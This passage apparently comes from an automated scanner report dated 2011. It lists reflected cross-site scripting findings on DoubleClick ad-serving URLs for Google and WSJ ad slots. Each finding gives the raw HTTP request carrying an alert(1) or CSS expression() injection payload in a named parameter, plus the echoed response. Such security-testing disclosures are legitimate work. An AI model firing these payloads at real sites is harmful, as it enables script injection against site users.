<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... GFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ&num=1&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g&client=ca-pub-4063878933780912&adurl=c47f2"-alert(1)-"54049c07273http://embassysuites.hilton.com/en/es/promotions/es_morereasonstostay_pt/index.jhtml?WT.mc_id=z1ECNCAA2ES3D4H5MoreReason40543&cssiteid=1004575&csdartid=5784169940013199"); var fscUrl = url; var fscUr ...[SNIP]...
The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1417b"-alert(1)-"b9c926877f7 was submitted in the ai parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N5552.3159.GOOGLECN.COM/B5035359.26;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B33XYFyxZTbT8PJ_6lAen3LGaC_HctfkBycz95Byx0dnYSwAQARgBIL7O5Q04AFCs18v4BmDJhqOH1KOAEKAB55Lc3gO6AQk3Mjh4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ1417b"-alert(1)-"b9c926877f7&num=1&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g&client=ca-pub-4063878933780912&adurl=;ord=874593558? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1297711267&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2Fexploits%2Fenterprise-exploit-coverage-hoytllc.htm&dt=1297689667883&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297689667905&frm=0&adk=200505236&ga_vid=1027971351.1297689668&ga_sid=1297689668&ga_hid=1219644194&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=times%20new%20roman&dfs=16&biw=1112&bih=1010&eid=33895299&fu=0&ifi=1&dtd=50&xpc=g179VgxXiq&p=file%3A// Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 13:21:03 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7889
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... 7O5Q04AFCs18v4BmDJhqOH1KOAEKAB55Lc3gO6AQk3Mjh4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ1417b"-alert(1)-"b9c926877f7&num=1&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fembassysuites.hilton.com/en/es/promotions/es_morereasonstostay_pt/index.jhtml%3FWT.mc_id%3Dz1ECNCAA2ES3D4 ...[SNIP]...
The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 230d9"-alert(1)-"981c7121fd4 was submitted in the client parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N5552.3159.GOOGLECN.COM/B5035359.26;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B33XYFyxZTbT8PJ_6lAen3LGaC_HctfkBycz95Byx0dnYSwAQARgBIL7O5Q04AFCs18v4BmDJhqOH1KOAEKAB55Lc3gO6AQk3Mjh4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ&num=1&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g&client=ca-pub-4063878933780912230d9"-alert(1)-"981c7121fd4&adurl=;ord=874593558? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1297711267&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2Fexploits%2Fenterprise-exploit-coverage-hoytllc.htm&dt=1297689667883&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297689667905&frm=0&adk=200505236&ga_vid=1027971351.1297689668&ga_sid=1297689668&ga_hid=1219644194&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=times%20new%20roman&dfs=16&biw=1112&bih=1010&eid=33895299&fu=0&ifi=1&dtd=50&xpc=g179VgxXiq&p=file%3A// Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 13:21:32 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7887
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ&num=1&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g&client=ca-pub-4063878933780912230d9"-alert(1)-"981c7121fd4&adurl=http%3a%2f%2fembassysuites.hilton.com/en/es/promotions/es_morereasonstostay_pt/index.jhtml%3FWT.mc_id%3Dz1ECNCAA2ES3D4H5MoreReason40543%26cssiteid%3D1004575%26csdartid%3D5784169940013170"); var ...[SNIP]...
The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb08b"-alert(1)-"4523e8dc99a was submitted in the num parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N5552.3159.GOOGLECN.COM/B5035359.26;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B33XYFyxZTbT8PJ_6lAen3LGaC_HctfkBycz95Byx0dnYSwAQARgBIL7O5Q04AFCs18v4BmDJhqOH1KOAEKAB55Lc3gO6AQk3Mjh4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ&num=1eb08b"-alert(1)-"4523e8dc99a&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g&client=ca-pub-4063878933780912&adurl=;ord=874593558? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1297711267&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2Fexploits%2Fenterprise-exploit-coverage-hoytllc.htm&dt=1297689667883&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297689667905&frm=0&adk=200505236&ga_vid=1027971351.1297689668&ga_sid=1297689668&ga_hid=1219644194&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=times%20new%20roman&dfs=16&biw=1112&bih=1010&eid=33895299&fu=0&ifi=1&dtd=50&xpc=g179VgxXiq&p=file%3A// Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 13:21:13 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7889
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... AFCs18v4BmDJhqOH1KOAEKAB55Lc3gO6AQk3Mjh4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ&num=1eb08b"-alert(1)-"4523e8dc99a&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fembassysuites.hilton.com/en/es/promotions/es_morereasonstostay_pt/index.jhtml%3FWT.mc_id%3Dz1ECNCAA2ES3D4H5More ...[SNIP]...
The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 862c5"-alert(1)-"b9cec4b80de was submitted in the sig parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N5552.3159.GOOGLECN.COM/B5035359.26;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B33XYFyxZTbT8PJ_6lAen3LGaC_HctfkBycz95Byx0dnYSwAQARgBIL7O5Q04AFCs18v4BmDJhqOH1KOAEKAB55Lc3gO6AQk3Mjh4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ&num=1&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g862c5"-alert(1)-"b9cec4b80de&client=ca-pub-4063878933780912&adurl=;ord=874593558? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1297711267&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2Fexploits%2Fenterprise-exploit-coverage-hoytllc.htm&dt=1297689667883&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297689667905&frm=0&adk=200505236&ga_vid=1027971351.1297689668&ga_sid=1297689668&ga_hid=1219644194&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=times%20new%20roman&dfs=16&biw=1112&bih=1010&eid=33895299&fu=0&ifi=1&dtd=50&xpc=g179VgxXiq&p=file%3A// Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 13:21:23 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7889
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... 4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ&num=1&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g862c5"-alert(1)-"b9cec4b80de&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fembassysuites.hilton.com/en/es/promotions/es_morereasonstostay_pt/index.jhtml%3FWT.mc_id%3Dz1ECNCAA2ES3D4H5MoreReason40543%26cssiteid%3D1004575%26csda ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e7f3"-alert(1)-"8abaf15a711 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N5552.3159.GOOGLECN.COM/B5035359.26;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l8e7f3"-alert(1)-"8abaf15a711&ai=B33XYFyxZTbT8PJ_6lAen3LGaC_HctfkBycz95Byx0dnYSwAQARgBIL7O5Q04AFCs18v4BmDJhqOH1KOAEKAB55Lc3gO6AQk3Mjh4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ&num=1&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g&client=ca-pub-4063878933780912&adurl=;ord=874593558? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1297711267&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2Fexploits%2Fenterprise-exploit-coverage-hoytllc.htm&dt=1297689667883&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297689667905&frm=0&adk=200505236&ga_vid=1027971351.1297689668&ga_sid=1297689668&ga_hid=1219644194&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=times%20new%20roman&dfs=16&biw=1112&bih=1010&eid=33895299&fu=0&ifi=1&dtd=50&xpc=g179VgxXiq&p=file%3A// Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 13:20:53 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7889
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... l = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3aae/f/19f/%2a/c%3B234501632%3B1-0%3B0%3B57841699%3B3454-728/90%3B40013199/40030986/2%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l8e7f3"-alert(1)-"8abaf15a711&ai=B33XYFyxZTbT8PJ_6lAen3LGaC_HctfkBycz95Byx0dnYSwAQARgBIL7O5Q04AFCs18v4BmDJhqOH1KOAEKAB55Lc3gO6AQk3Mjh4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2Ut ...[SNIP]...
The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6345"style%3d"x%3aexpression(alert(1))"760be3c0573 was submitted in the !category parameter. This input was echoed as f6345"style="x:expression(alert(1))"760be3c0573 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /adi/interactive.wsj.com/articletools_sponsor;!category=;page=article;msrc=WSJ_hp_MIDDLENexttoWhatsNewsThird;;mc=b2pfreezone_super;tile=2;sz=234x31;ord=2655265526552655;f6345"style%3d"x%3aexpression(alert(1))"760be3c0573 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://online.wsj.com/article/SB10001424052748704329104576138271281667798.html?mod=WSJ_hp_MIDDLENexttoWhatsNewsThird Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 01:36:49 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 485
1.24. http://ad.doubleclick.net/adi/interactive.wsj.com/articletools_sponsor [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adi/interactive.wsj.com/articletools_sponsor
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b967b"style%3d"x%3aexpression(alert(1))"43f320cd246 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b967b"style="x:expression(alert(1))"43f320cd246 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /adi/interactive.wsj.com/articletools_sponsor;!category=;page=article;msrc=WSJ_hp_MIDDLENexttoWhatsNewsThird;;mc=b2pfreezone_super;tile=2;sz=234x31;ord=2655265526552655;&b967b"style%3d"x%3aexpression(alert(1))"43f320cd246=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://online.wsj.com/article/SB10001424052748704329104576138271281667798.html?mod=WSJ_hp_MIDDLENexttoWhatsNewsThird Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 01:36:54 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 488
The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24f47"style%3d"x%3aexpression(alert(1))"ed49986df20 was submitted in the !category parameter. This input was echoed as 24f47"style="x:expression(alert(1))"ed49986df20 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /adi/interactive.wsj.com/markets_intelligentinvestor;!category=;page=article;msrc=WSJ_hp_MIDDLENexttoWhatsNewsThird;;mc=b2pfreezone_super;tile=4;sz=377x135;ord=1464146414641464;24f47"style%3d"x%3aexpression(alert(1))"ed49986df20 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://online.wsj.com/article/SB10001424052748704329104576138271281667798.html?mod=WSJ_hp_MIDDLENexttoWhatsNewsThird Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 01:36:41 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 604
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad783"style%3d"x%3aexpression(alert(1))"7c9d84b3db8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ad783"style="x:expression(alert(1))"7c9d84b3db8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /adi/interactive.wsj.com/markets_intelligentinvestor;!category=;page=article;msrc=WSJ_hp_MIDDLENexttoWhatsNewsThird;;mc=b2pfreezone_super;tile=4;sz=377x135;ord=1464146414641464;&ad783"style%3d"x%3aexpression(alert(1))"7c9d84b3db8=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://online.wsj.com/article/SB10001424052748704329104576138271281667798.html?mod=WSJ_hp_MIDDLENexttoWhatsNewsThird Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 01:36:49 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 607
The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44e25"style%3d"x%3aexpression(alert(1))"92bb3f4bb02 was submitted in the !category parameter. This input was echoed as 44e25"style="x:expression(alert(1))"92bb3f4bb02 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /adi/interactive.wsj.com/personalfinance_newsreel;!category=;page=newsReelAd;;mc=b2pfreezone;tile=2;sz=230x70;ord=6560656065606560;44e25"style%3d"x%3aexpression(alert(1))"92bb3f4bb02 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748704329104576138271281667798 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 01:36:57 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 532
1.28. http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adi/interactive.wsj.com/personalfinance_newsreel
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5a17"style%3d"x%3aexpression(alert(1))"c28df2770ea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b5a17"style="x:expression(alert(1))"c28df2770ea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
